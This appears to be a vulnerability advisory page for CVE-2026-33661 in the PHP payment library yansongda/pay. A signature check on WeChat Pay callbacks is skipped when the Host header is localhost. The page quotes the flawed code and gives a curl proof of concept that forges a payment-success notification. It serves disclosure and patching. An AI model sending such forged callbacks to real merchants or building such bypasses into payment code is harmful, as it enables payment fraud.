CVE-2026-33661: WeChat Pay callback signature verification bypassed when Host header is localhost
Summary The verifywechatsign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.
Published Mar 25, 2026 · Updated Mar 27, 2026
Affected packages
yansongda/pay
- Ecosystem
- Composer (PHP)
- Affected
- <= 3.7.19
- Fixed in
- 3.7.20
- Check
composer show yansongda/pay
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.
This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.
Vulnerable Code
`src/Functions.php` lines 243-246:
function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
// BYPASS: Returns without any signature check if Host header is localhost
if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
return; // No signature verified!
}
// ... openssl_verify() only reached when Host != localhost
$wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
$sign = $message->getHeaderLine('Wechatpay-Signature');
$result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.
Proof of Concept
curl -X POST https://merchant.example.com/payment/wechat/callback \
-H "Host: localhost" \
-H "Content-Type: application/json" \
-H "Wechatpay-Serial: any" \
-H "Wechatpay-Timestamp: 1234567890" \
-H "Wechatpay-Nonce: abc" \
-H "Wechatpay-Signature: AAAA" \
-d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.
Impact
- Payment fraud: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks
- No authentication required: Pure network attack, zero privileges needed
- Wide reach: Affects any application using
yansongda/payfor WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.
References
- https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc
- https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f
- https://github.com/yansongda/pay/releases/tag/v3.7.20
- https://nvd.nist.gov/vuln/detail/CVE-2026-33661
- https://github.com/advisories/GHSA-q938-ghwv-8gvc
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
